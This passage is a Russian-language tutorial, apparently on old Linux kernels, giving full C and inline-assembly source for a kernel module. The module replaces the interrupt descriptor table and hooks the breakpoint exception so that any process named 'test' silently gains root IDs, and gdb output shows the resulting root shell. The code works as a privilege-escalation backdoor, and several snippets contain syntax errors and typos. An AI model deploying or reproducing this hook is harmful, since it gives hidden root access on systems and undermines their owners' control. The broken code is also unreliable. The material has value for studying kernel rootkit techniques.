После того как найден базовый адрес IDT, можно создать новую таблицу дескрипторов прерываний, а затем в ней произвести подмену адреса исключения `#BP`:

```

void set_new_idt()
{
    unsigned long flags;

    /*
     * Выделяем память для новой таблицы IDT и копируем в нее
     * содержимое старой таблицы:
     */
    idt = (struct descr_idt *)kmalloc(255 * sizeof(struct descr_idt), GFP_KERNEL);
    memcpy((void *)idt, (void *)idt_addr, 255 * sizeof(struct descr_idt));

    /*
     * В поле base структуры idtr заносим новое значение
     * базового адреса таблицы и загружаем его в регистр IDTR
     * инструкцией LIDT.
     */
    idtr.base = (__u32)idt;

    __save_flags(flags); __cli();
    asm ("lidt %0:::m" (idtr));
    __restore_flags(flags);

    return;
}

```

Подмену адресов в таблице IDT выполняет функция `set_handler()`:

```

void set_handler(int i, __u32 new_addr)
{
    idt[i].off_high = (__u16)(new_addr >> 16);
    idt[i].off_low = (__u16)(new_addr & 0x0000FFFF);
}

```

Параметры этой функции:

- `int i` – номер дескриптора, в котором нужно изменить адрес обработчика;
- `__u32 new_addr` – адрес нового обработчика.

Перед заменой адресов желательно сохранить адрес «родного» обработчика. Для этого необходимо прочитать этот адрес из таблицы IDT:

```

__u32 get_handler(int i)
{
    return((idt[i].off_high << 0x10) | idt[i].off_low);
}

```

Следующая функция выполняет непосредственно то, ради чего все затевалось – назначает права `root` процессу `test`. Эта функция должна быть вызвана перед обработчиком исключения `#BP` для проверки имени текущего процесса:

```

asmlinkage void my_handler()
{
    if(strcmp(current->comm, "test") == 0) {

        current->uid = 0;
        current->gid = 0;
        current->euid = 0;
        current->egid = 0;
        current->suid = 0;
        current->sgid = 0;
        current->fsuid = 0;
        current->fsgid = 0;

        printk(KERN_INFO "%s - EXCEPTION #BP occurred!\n", current->comm);
    }

    return;
}

```

При совпадении имен текущего процесса и шаблона функция назначает процессу привилегии `root`.

Осталось рассмотреть, чем мы заменим стандартный обработчик исключения `#BP`.

Следующая функция содержит в себе определение вызова нового обработчика исключения `#BP` – `my_stub()`:

```

void stub()
{
    __asm__ __volatile__ (
        ".globl my_stub\n"
        ".align 4, 0x90\n"
        "my_stub:\n" // новый обработчик!
        "    call *%0\n"
        "    jmp *%1\n"
        ::"m"(new_handler), "m"(old_handler));
}

```

Сначала команда `call` вызывает функцию `my_handler`, адрес которой находится в переменной `new_handler`, а после возврата из этой функции команда `jmp` передает управление по адресу старого обработчика `#BP`, который

сохранен в переменной `old_handler`.

Все функции, которые мы рассмотрели, будут вызваны во время загрузки модуля ядра:

```
int init_module()
{
    int i = 3; // номер исключения - Breakpoint (#BP)
    __u32 new_addr; // адрес нового обработчика исключения #BP

    /*
     * считываем адрес таблицы IDT и формируем новую таблицу
     */
    idt_addr = get_idt_addr();
    printk(KERN_INFO "Old IDT address - 0x%08x\n", (__u32) (idt_addr));
    set_new_idt();
    printk(KERN_INFO "New IDT address - 0x%08x\n", (__u32) (idttr.base));

    new_handler = (__u32) &my_handler; // адрес ф-ии my_handler

    /*
     * Сохраняем адрес старого обработчика #BP, определяем адрес
     * нового и производим замену адресов в новой таблице IDT
     */
    old_handler = get_handler(i);
    new_addr = (__u32) &my_stub;
    set_handler(i, new_addr);

    return 0;
}
```

Во время выгрузки модуля необходимо восстановить старую таблицу IDT. Ее адрес сохранен в переменной `idt_addr`. Адрес обработчика #BP восстанавливать не надо, так как в старой таблице он остался без изменений.

```
void cleanup_module()
{
    unsigned long flags;

    /*
     * Заносим адрес таблицы IDT в поле base структуры idtr
     * а затем командой LIDT загружаем его в регистр IDTR
     */
    idtr.base = (__u32) idt_addr;
    __save_flags(flags);
    __cli();
    __asm__("lidt %0::"m" (idtr);
    __restore_flags(flags);

    /*
     * Освобождаем память, занятую новой таблицей IDT
     */
    kfree(idt);
    printk(KERN_INFO "Old IDT address restore \n"
    (0x%08x)\n", (__u32) (idttr.base));
    return;
}
```

Процесс, статус которого мы хотим повысить, выглядит следующим образом:

```
/* файл test.c */
int main()
{
    system("/bin/bash");
    return 0;
}
```

Запускаем процесс в отладчике:

```
play@darkstar:~$ gdb -q ./test
(gdb)
```

Устанавливаем точку останова на функцию `main()`:

```
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb)
```

Запускаем процесс на выполнение:

```
(gdb) run
Starting program: /home/play/test

Breakpoint 1, 0x0804832e in main()
(gdb)
```

Дошли до точки останова #1. Продолжим выполнение процесса:

```
(gdb) cont
Continuing.
bash-2.05b$
```

Запущен новый shell. Проверяем, с какими правами:

```
bash-2.05b$ id
uid=1000(play) gid=100(users) groups=100(users)
bash-2.05b$
```

В итоге мы получили в свое распоряжение еще один shell с правами `play`. Интересного в этом мало. Другое дело, если запустить shell с правами `root`.

Завершим работу отладчика:

```
bash-2.05b$ exit
exit

Program exited normally
(gdb) quit
play@darkstar:~$
```

Теперь загрузим модуль и опять запустим процесс в отладчике:

```
play@darkstar:~$ gdb -q ./test
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb) run
Starting program: /home/play/test

Breakpoint 1, 0x0804832e in main()
(gdb) cont
Continuing.
```

Смотрим, какими правами обладает новый shell:

```
bash-2.05b# id
uid=0(root) gid=0(root) groups=100(users)
bash-2.05b#
```

На этот раз все получилось так, как мы и предполагали, – модуль перехватил исключение #BP, которое возникло в момент остановки выполнения процесса на функции `main`, проверил имя процесса и установил его идентификаторы в 0, повысив тем самым уровень привилегий процесса до `root`. После этого управление было передано «родному» обработчику исключения #BP и процесс продолжил свое выполнение, но уже с другими правами, которые и унаследовал новый shell.

Литература:

1. Теренс Чан. Системное программирование на C++ для UNIX: Пер. с англ. – К.: Издательская группа BHV, 1999. – 592с.
2. М. Митчелл, Д. Оулдем, А. Самьюэл. Программирование в Linux. Профессиональный подход.: Пер. с англ. – М.: Издательский дом «Вильямс», 2002. – 288 с.:ил.